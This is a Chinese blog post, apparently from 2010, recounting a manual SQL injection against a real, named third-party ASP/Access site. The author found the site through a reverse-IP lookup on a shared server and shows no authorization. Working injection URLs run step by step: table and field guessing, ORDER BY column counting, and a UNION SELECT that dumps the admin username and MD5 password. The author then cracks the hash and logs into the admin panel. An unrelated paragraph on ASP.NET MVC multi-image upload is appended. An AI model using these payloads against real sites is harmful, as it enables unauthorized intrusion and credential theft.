记一次有意义的asp手工注入

记一次有意义的asp手工注入

  (2010-09-26 08:21:20)
标签: 

asp

 

手工

 

注入

 

union

 

select

 

联合

 

查询

 

it

分类: 渗透测试

http://blog.sina.com.cn/s/blog_68d342d90100loqw.html

今天在空间发了篇日志,问朋友们有没有什么需要我这个小菜检测一下的网站,日志发出后,有位朋友来留了一个网站的地址:

记一次有意义的asp手工注入

呵呵,当时听那朋友说的,他们好多人都不行,拿不下,我被吓到了,呵呵,想着别人那么多人都拿不下的站,我一个小菜鸟能拿下?

呵呵,不过还是抱着试试看的心情打开了这个网站,在主站转了转,用的是CMS,由于俺是小菜,对CMS不懂,于是找到后台,看可否直接登录,后台地址为:

http://www.jbzx.cn/admin/admin_index.asp

但是,打开之后发现页面跳转到了

http://www.jbzx.cn/User/Login.Asp

看来是直接cookie验证了,算了,这么复杂,直接放弃了从主站直接下手的想法,看看能不能旁注吧,于是,打开

http://www.rootkit.net.cn/index.aspx

查询一下,不查不知道,一查我就高兴了,哈哈:

记一次有意义的asp手工注入

这个服务器上放了200多个网站,这么多网站能全部做到安全么?显然,在国内来说,那是不可能的,所以,我的胜算增加了一分。

既然这么多网站,那就一个一个来吧,唉,像我这种菜鸟级的人物,只好干这种体力活了… …

在这里,我偷了懒,打开明小子,批量扫描后台,这是我的一点个人习惯,在办正事之前我习惯先找后台,嗯,虽然我是联通,而这服务器是电信,但速度还蛮快的,很快结果出来了,于是一个后台一个后台的试,结果不是过滤注入就是域名失效,弱口令更是一个没有,继续,继续,继续。

一直到这个网站:

http://www.better-cleaning.com

后台是:

http://www.better-cleaning.com/admin/Login.asp

先看有没有弱口令,发现没有,于是只好去前台转,打开前台后,是英文,全是英文,我原本打算找个转换按钮的,但是发现页面上没有,算了,没有就没有吧,将就着来吧。

随便点开一个链接:

http://www.better-cleaning.com/productshow.asp?id=711

加单引号,出错了:

记一次有意义的asp手工注入

我懒,懒得手工来,并且对于asp,我也实在没有手工来的兴趣,工具那么好用,何必不用工具呢?

于是,拉出我一直信任有加的啊D,把注入点放进去,开始检测:

记一次有意义的asp手工注入

结果啊D告诉我不能注入,咦?怎么会这样呢?

既然啊D不行,那就换明小子:

记一次有意义的asp手工注入

郁闷了,明小子也告诉我不能注入,那,难道是我的手工判断错误?还是这种注入类型工具无法检测?

我不甘心就这么放弃,于是,打开这个两个这么出名的工具都检测不出来的地址,开始手工注入,自然而然的,也就有了你正在看的这篇文章:

提交:

http://www.better-cleaning.com/productshow.asp?id=711 and exists (select * from admin)

页面回显正常:

记一次有意义的asp手工注入

说明存在admin表,再提交:

http://www.better-cleaning.com/productshow.asp?id=711 and exists (select username from admin)

页面回显正常,说明存在username字段,再提交:

http://www.better-cleaning.com/productshow.asp?id=711 and exists (select password from admin)

页面回显正常,说明存在password字段,现在表名和字段名全部猜完,该爆用户名和密码了,于是,先order by,提交:

http://www.better-cleaning.com/productshow.asp?id=711 order by 5

页面回显错误,说明页面中的字段数不是5,依次反复提交,直到提交:

http://www.better-cleaning.com/productshow.asp?id=711 order by 36

这时页面回显正常,说明字段数为36,于是,开始union select,提交:

http://www.better-cleaning.com/productshow.asp?id=711 and 1=2 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36

页面回显错误,为什么会出错呢?

当时我的理解有2点,一,是需要用null替代了,二,是需要加from了,我懒,懒得写36null,于是,先试试加from吧,提交:

http://www.better-cleaning.com/productshow.asp?id=711 and 1=2 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from admin

页面回显正常,成功出现显示位:

记一次有意义的asp手工注入

OK,既然显示位出来了,那就开始爆用户名和密码吧,提交:

http://www.better-cleaning.com/productshow.asp?id=711 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,username,23,24,25,26,password,28,29,30,31,32,33,34,35,36 from admin

记一次有意义的asp手工注入

哦了,管理员的用户名和密码都爆出来了,把MD5复制下来,去解密:

记一次有意义的asp手工注入

OK,结果出来了,密码是better,打开后台,登录:

记一次有意义的asp手工注入

OK,登录成功。

下边的,俺这小菜鸟就不写拉,这篇文章只是探讨一下union select的时候是否要加from,以及在什么情况下要加from,我试了试这个站的数据库,发现好像不是MSSQL,应该是ACCESS的,而在php+Mysql的联合查询中,就不必在最后加上from,那么是否就是说,在ACCESS环境下,就必须要加上from呢?望明人指点,谢谢。

文章很戳,没什么技术含量,不要喷我不要喷我… …

完毕。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ASP.NET MVC框架提供了多种方法来实现一次上传多张图片的功能。 一种常见的方法是在前端使用HTML5的文件选择控件来实现多文件上传。在HTML页面中,我们可以使用<input type="file" multiple/>来创建一个文件上传控件,multiple属性表示可以选择多个文件。当用户选择了多张图片后,这些图片会被封装成一个FileList对象,我们可以通过JavaScript将FileList对象传递给后端。 在后端,我们可以使用ASP.NET MVC的控制器来处理这些上传的图片。在控制器的方法中,我们可以通过参数绑定来接收上传的文件。可以使用HttpPostedFileBase类型的数组来接收多个文件,并通过循环遍历每个文件进行处理。对于每个文件,我们可以使用其FileName属性获取文件名,使用SaveAs方法保存文件到服务器指定的路径。 另一种方法是使用第三方插件或库来简化多文件上传的实现。例如,可以使用FineUploader、Dropzone.js等插件来实现多文件上传的功能。这些插件提供了专门的JavaScript API和样式来处理文件上传操作,并且可以与ASP.NET MVC框架无缝集成。 总体而言,实现ASP.NET MVC一次上传多张图片的功能可以通过HTML5的文件选择控件及其API,或使用第三方插件来实现。无论使用哪种方法,我们都需要在前端进行多文件选择和上传操作,并在后端控制器中接收和处理上传的文件。当然,为了确保上传的文件不会超过服务器的负载能力,我们还可以在前端和后端进行一些限制和校验,比如限制上传文件的数量和大小。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值